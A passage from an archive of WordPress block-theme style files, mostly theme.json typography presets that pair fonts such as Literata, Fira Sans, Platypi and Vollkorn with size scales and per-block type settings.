":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--contrast) 85%, black)"
}
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|platypi"
}
},
"h5": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "normal"
}
},
"h6": {
"typography": {
"fontSize": "var:preset|font-size|small",
"fontWeight": "400",
"fontStyle": "initial",
"letterSpacing": "initial",
"textTransform": "initial"
}
}
},
"variations": {
"section-2": {
"color": {
"background": "var:preset|color|accent-3",
"text": "var:preset|color|accent-1"
},
"elements": {
"button": {
"color": {
"background": "var:preset|color|accent-1",
"text": "var:preset|color|accent-3"
},
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-1) 85%, transparent)"
}
}
}
}
},
"section-4": {
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--accent-2) 85%, transparent)"
}
}
}
}
},
"section-5": {
"elements": {
"button": {
":hover": {
"color": {
"background": "color-mix(in srgb, var(--wp--preset--color--base) 90%, transparent)"
}
}
}
}
}
}
}
}
styles/typography/typography-preset-4.json 0000666 00000005675 15172262366 0015072 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Roboto Slab & Manrope",
"slug": "typography-preset-4",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Roboto Slab",
"slug": "roboto-slab",
"fontFamily": "\"Roboto Slab\", serif",
"fontFace": [
{
"fontFamily": "\"Roboto Slab\"",
"fontStyle": "normal",
"fontWeight": "100 900",
"src": [
"file:./assets/fonts/roboto-slab/RobotoSlab-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Manrope",
"slug": "manrope",
"fontFamily": "Manrope, sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/manrope/Manrope-VariableFont_wght.woff2"
],
"fontWeight": "200 800",
"fontStyle": "normal",
"fontFamily": "Manrope"
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "2rem",
"min": "1.75rem"
},
"name": "Extra Large",
"size": "1.75rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.4rem",
"min": "2.15rem"
},
"name": "Extra Extra Large",
"size": "2.15rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"letterSpacing": "0"
},
"blocks": {
"core/navigation": {
"typography": {
"fontSize": "var:preset|font-size|large",
"letterSpacing": "-0.28px",
"textTransform": "uppercase"
}
},
"core/post-author": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/post-author-name": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "500"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|roboto-slab",
"fontSize": "var:preset|font-size|xx-large",
"fontWeight": "200"
}
},
"core/search": {
"typography": {
"textTransform": "uppercase"
}
},
"core/site-tagline": {
"typography": {
"fontSize": "var:preset|font-size|large"
}
},
"core/site-title": {
"typography": {
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"typography": {
"fontWeight": "500",
"letterSpacing": "-0.36px",
"textTransform": "uppercase"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|roboto-slab",
"fontWeight": "300",
"letterSpacing": "-0.5px",
"lineHeight": "1.2"
}
}
}
}
}
styles/typography/typography-preset-1.json 0000666 00000014305 15172262366 0015055 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Beiruti & Literata",
"slug": "typography-preset-1",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Beiruti",
"slug": "beiruti",
"fontFamily": "Beiruti, sans-serif",
"fontFace": [
{
"fontFamily": "Beiruti",
"fontStyle": "normal",
"fontWeight": "200 900",
"src": [
"file:./assets/fonts/beiruti/Beiruti-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.9rem",
"slug": "small"
},
{
"fluid": {
"max": "1.2rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.6rem"
},
"name": "Large",
"size": "1.6rem",
"slug": "large"
},
{
"fluid": {
"max": "2.2rem",
"min": "1.8em"
},
"name": "Extra Large",
"size": "1.8rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.8rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.01em",
"lineHeight": "1.6"
},
"blocks": {
"core/button": {
"typography": {
"fontFamily": "var:preset|font-family|beiruti"
}
},
"core/list": {
"typography": {
"lineHeight": "1.3"
}
},
"core/loginout": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "300"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "500",
"lineHeight": "1"
}
},
"core/quote": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/query-pagination": {
"typography": {
"fontWeight": "300"
}
},
"core/site-tagline": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "600",
"letterSpacing": "2.4px",
"textTransform": "uppercase"
}
}
},
"elements": {
"h4": {
"typography": {
"fontSize": "var:preset|font-size|large"
}
},
"h5": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "0px"
}
},
"h6": {
"typography": {
"fontSize": "var:preset|font-size|small"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|beiruti",
"fontWeight": "500",
"letterSpacing": "-0.02em",
"lineHeight": "1.02"
}
}
}
}
}
styles/typography/typography-preset-5.json 0000666 00000014776 15172262366 0015075 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Literata & Ysabeau Office",
"slug": "typography-preset-5",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
},
{
"name": "Ysabeau Office",
"slug": "ysabeau-office",
"fontFamily": "\"Ysabeau Office\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "normal",
"fontFamily": "\"Ysabeau Office\""
},
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "italic",
"fontFamily": "\"Ysabeau Office\""
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "2rem",
"min": "1.75rem"
},
"name": "Extra Large",
"size": "1.75rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.6rem",
"min": "1.4rem"
},
"name": "Extra Extra Large",
"size": "2.6rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"letterSpacing": "-0.24px"
},
"blocks": {
"core/navigation": {
"typography": {
"fontSize": "1.25rem"
}
},
"core/post-title": {
"typography": {
"fontWeight": "900",
"letterSpacing": "-0.96px"
}
},
"core/pullquote": {
"typography": {
"fontSize": "var:preset|font-size|xx-large"
},
"elements": {
"cite": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.14px"
}
}
}
},
"core/quote": {
"elements": {
"cite": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.14px"
}
}
}
},
"core/query-title": {
"typography": {
"fontWeight": "900"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"textTransform": "uppercase",
"letterSpacing": "1.6px"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "900",
"letterSpacing": "-0.36px"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "900",
"lineHeight": "1.2"
}
},
"h5": {
"typography": {
"letterSpacing": "0px"
}
},
"h6": {
"typography": {
"fontWeight": "900",
"letterSpacing": "0px"
}
}
},
"variations": {
"post-terms-1": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
}
}
}
}
styles/typography/typography-preset-3.json 0000666 00000007340 15172262366 0015060 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Platypi & Ysabeau Office",
"slug": "typography-preset-3",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Platypi",
"slug": "platypi",
"fontFamily": "Platypi",
"fontFace": [
{
"fontFamily": "Platypi",
"fontStyle": "normal",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2"
]
},
{
"fontFamily": "Platypi",
"fontStyle": "italic",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Ysabeau Office",
"slug": "ysabeau-office",
"fontFamily": "\"Ysabeau Office\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "normal",
"fontFamily": "\"Ysabeau Office\""
},
{
"src": [
"file:./assets/fonts/ysabeau-office/YsabeauOffice-Italic-VariableFont_wght.woff2"
],
"fontWeight": "100 900",
"fontStyle": "italic",
"fontFamily": "\"Ysabeau Office\""
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.875rem",
"slug": "small"
},
{
"fluid": {
"max": "1.125rem",
"min": "1rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.375rem",
"min": "1.125rem"
},
"name": "Large",
"size": "1.38rem",
"slug": "large"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.4rem"
},
"name": "Extra Large",
"size": "1.4rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.6rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"letterSpacing": "-0.22px",
"lineHeight": "1.5"
},
"blocks":{
"core/code": {
"typography": {
"letterSpacing": "0px"
}
},
"core/heading": {
"typography": {
"lineHeight": "1.2"
}
},
"core/list": {
"typography": {
"lineHeight": "1.3"
}
},
"core/loginout": {
"typography": {
"fontSize": "var:preset|font-size|medium"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "400"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|platypi",
"letterSpacing": "-0.01em",
"lineHeight": "1.1"
}
},
"core/quote": {
"typography": {
"fontWeight": "300"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"fontSize": "var:preset|font-size|large",
"letterSpacing": "1.44px",
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|ysabeau-office",
"fontWeight": "600",
"letterSpacing": "1.44px",
"textTransform": "uppercase"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|platypi"
}
},
"h5": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "normal"
}
},
"h6": {
"typography": {
"fontSize": "var:preset|font-size|small",
"fontWeight": "400",
"fontStyle": "initial",
"letterSpacing": "initial",
"textTransform": "initial"
}
}
}
}
}
styles/typography/typography-preset-7.json 0000666 00000022610 15172262366 0015061 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Literata & Fira Sans",
"slug": "typography-preset-7",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-RegularItalic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "Literata"
}
]
},
{
"name": "Fira Sans",
"slug": "fira-sans",
"fontFamily": "\"Fira Sans\", sans-serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Thin.woff2"
],
"fontWeight": "100",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ThinItalic.woff2"
],
"fontWeight": "100",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Italic.woff2"
],
"fontWeight": "400",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Medium.woff2"
],
"fontWeight": "500",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-MediumItalic.woff2"
],
"fontWeight": "500",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-SemiBold.woff2"
],
"fontWeight": "600",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-SemiBoldItalic.woff2"
],
"fontWeight": "600",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Bold.woff2"
],
"fontWeight": "700",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-BoldItalic.woff2"
],
"fontWeight": "700",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraBold.woff2"
],
"fontWeight": "800",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-ExtraBoldItalic.woff2"
],
"fontWeight": "800",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-Black.woff2"
],
"fontWeight": "900",
"fontStyle": "normal",
"fontFamily": "\"Fira Sans\""
},
{
"src": [
"file:./assets/fonts/fira-sans/FiraSans-BlackItalic.woff2"
],
"fontWeight": "900",
"fontStyle": "italic",
"fontFamily": "\"Fira Sans\""
}
]
}
],
"fontSizes": [
{
"fluid": false,
"name": "Small",
"size": "0.9rem",
"slug": "small"
},
{
"fluid": {
"max": "1.2rem",
"min": "0.9rem"
},
"name": "Medium",
"size": "1rem",
"slug": "medium"
},
{
"fluid": {
"max": "1.8rem",
"min": "1.2rem"
},
"name": "Large",
"size": "1.2rem",
"slug": "large"
},
{
"fluid": {
"max": "2.2rem",
"min": "1.8rem"
},
"name": "Extra Large",
"size": "1.8rem",
"slug": "x-large"
},
{
"fluid": {
"max": "2.8rem",
"min": "2rem"
},
"name": "Extra Extra Large",
"size": "2rem",
"slug": "xx-large"
}
]
}
},
"styles": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"fontFamily": "var:preset|font-family|fira-sans",
"letterSpacing": "-0.01em",
"lineHeight": "1.5"
},
"blocks": {
"core/post-title": {
"typography": {
"fontWeight": "200"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "200",
"letterSpacing": "0em"
}
},
"core/query-pagination": {
"typography": {
"fontWeight": "300",
"letterSpacing": "0px"
}
},
"core/quote": {
"typography": {
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.01em",
"lineHeight": "1.5",
"fontWeight": "300"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|x-large",
"fontWeight": "300",
"letterSpacing": "-0.56px",
"textTransform": "uppercase"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "400",
"letterSpacing": "-0.01em",
"textTransform": "uppercase"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|literata",
"fontWeight": "200",
"letterSpacing": "-0.02em",
"lineHeight": "1.24"
}
},
"h6": {
"typography": {
"fontWeight": "200"
}
}
}
}
}
styles/typography/typography-preset-2.json 0000666 00000006073 15172262366 0015061 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Vollkorn & Fira Code",
"slug": "typography-preset-2",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Vollkorn",
"slug": "vollkorn",
"fontFamily": "Vollkorn, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/vollkorn/Vollkorn-Italic-VariableFont_wght.woff2"
],
"fontWeight": "400 900",
"fontStyle": "italic",
"fontFamily": "Vollkorn"
},
{
"src": [
"file:./assets/fonts/vollkorn/Vollkorn-VariableFont_wght.woff2"
],
"fontWeight": "400 900",
"fontStyle": "normal",
"fontFamily": "Vollkorn"
}
]
},
{
"name": "Fira Code",
"slug": "fira-code",
"fontFamily": "\"Fira Code\", monospace",
"fontFace": [
{
"src": [
"file:./assets/fonts/fira-code/FiraCode-VariableFont_wght.woff2"
],
"fontWeight": "300 700",
"fontStyle": "normal",
"fontFamily": "\"Fira Code\""
}
]
}
]
}
},
"styles": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontSize": "var:preset|font-size|medium",
"letterSpacing": "-0.18px",
"lineHeight": "1.5"
},
"blocks": {
"core/post-author-name": {
"typography": {
"fontWeight": "300"
}
},
"core/post-terms": {
"typography": {
"fontWeight": "300"
}
},
"core/post-title": {
"typography": {
"fontWeight": "400",
"letterSpacing": "-0.96px"
}
},
"core/pullquote": {
"typography": {
"fontFamily": "var:preset|font-family|vollkorn",
"fontSize": "var:preset|font-size|x-large",
"fontWeight": "400"
},
"elements": {
"cite": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontWeight": "300",
"letterSpacing": "-0.14px"
}
}
}
},
"core/quote": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontWeight": "500",
"letterSpacing": "-0.18px"
}
},
"core/site-title": {
"typography": {
"fontFamily": "var:preset|font-family|vollkorn",
"fontSize": "var:preset|font-size|x-large"
}
}
},
"elements": {
"button": {
"typography": {
"fontFamily": "var:preset|font-family|fira-code",
"fontSize": "var:preset|font-size|medium",
"fontWeight": "400",
"letterSpacing": "-0.36px"
}
},
"heading": {
"typography": {
"fontFamily": "var:preset|font-family|vollkorn"
}
},
"h1": {
"typography": {
"fontSize": "48px",
"letterSpacing": "-0.96px;"
}
},
"h2": {
"typography": {
"fontSize": "38px",
"letterSpacing": "-0.96px"
}
},
"h3": {
"typography": {
"fontSize": "32px",
"letterSpacing": "-0.64px"
}
},
"h4": {
"typography": {
"fontSize": "28px",
"letterSpacing": "-0.56px"
}
},
"h5": {
"typography": {
"fontSize": "24px",
"letterSpacing": "-0.48px"
}
}
}
}
}
styles/typography/typography-preset-6.json 0000666 00000013253 15172262366 0015063 0 ustar 00 {
"version": 3,
"$schema": "https://schemas.wp.org/trunk/theme.json",
"title": "Platypi & Literata",
"slug": "typography-preset-6",
"settings": {
"typography": {
"fontFamilies": [
{
"name": "Platypi",
"slug": "platypi",
"fontFamily": "Platypi",
"fontFace": [
{
"fontFamily": "Platypi",
"fontStyle": "normal",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-VariableFont_wght.woff2"
]
},
{
"fontFamily": "Platypi",
"fontStyle": "italic",
"fontWeight": "300 800",
"src": [
"file:./assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2"
]
}
]
},
{
"name": "Literata",
"slug": "literata",
"fontFamily": "Literata, serif",
"fontFace": [
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLight.woff2"
],
"fontWeight": "200",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-ExtraLightItalic.woff2"
],
"fontWeight": "200",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Light.woff2"
],
"fontWeight": "300",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-LightItalic.woff2"
],
"fontWeight": "300",
"fontStyle": "italic",
"fontFamily": "Literata"
},
{
"src": [
"file:./assets/fonts/literata/Literata72pt-Regular.woff2"
],
"fontWeight": "400",
"fontStyle": "normal",
"fontFamily": "Literata"
},
{
"src": [
